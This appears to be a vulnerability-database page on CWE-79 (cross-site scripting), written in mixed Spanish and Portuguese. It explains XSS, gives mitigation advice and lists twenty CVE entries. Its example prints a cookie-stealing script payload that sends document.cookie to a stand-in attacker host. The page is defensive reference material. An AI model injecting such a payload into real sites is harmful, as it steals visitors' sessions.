Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37219MEDIUMWordPress Page Builder Sandwich plugin <= 5.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-47897MEDIUMPEEL Shopping 9.3.0 - 'address' Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-6742MEDIUMAdvanced iFrame <= 2026.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block 'additional' AttributeEPSS 0.3%CVE-2026-3850MEDIUMDivi <= 4.27.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Contact Form 'redirect_url' Shortcode ParameterEPSS 0.3%CVE-2025-53541MEDIUMTuleap is vulnerable to XSS attacks when displaying the children of a parent artifactEPSS 0.3%CVE-2025-13704MEDIUMAutogen Headers Menu <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'head_class' Shortcode ParameterEPSS 0.3%CVE-2025-7715MEDIUMBlock Attributes - Moderately critical - Cross-site Scripting - SA-CONTRIB-2025-090EPSS 0.3%CVE-2026-1888MEDIUMDocus <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-37263MEDIUMWordPress Enter Addons – Ultimate Template Builder for Elementor plugin <= 2.1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-40720MEDIUMReflected Cross-site Scripting (XSS) vulnerability in Quiter GatewayEPSS 0.3%CVE-2021-47892MEDIUMPEEL Shopping 9.3.0 - 'Comments/Special Instructions' Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-47366MEDIUMWordPress Elementor Addon Elements plugin <= 1.13.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-30558MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.3%CVE-2026-3852MEDIUMDivi <= 4.27.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Social Media Follow 'skype_url' Shortcode ParameterEPSS 0.3%CVE-2024-38786MEDIUMWordPress CoziPress theme <= 1.0.30 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11450MEDIUMONLYOFFICE Docs <= 2.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-14785MEDIUMWebsite Builder by SeedProd - Theme Builder, Landing Page Builder, Coming Soon Page, Maintenance Mode <= 6.20.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'seedprodnestedmenuwidget' ShortcodeEPSS 0.3%CVE-2026-75526MEDIUMdjango CMS: Stored XSS in edit-mode plugin exception renderingEPSS 0.3%CVE-2024-47632MEDIUMWordPress DethemeKit For Elementor plugin <= 2.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1401MEDIUMTune Library <= 1.6.3 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via CSV ImportEPSS 0.3%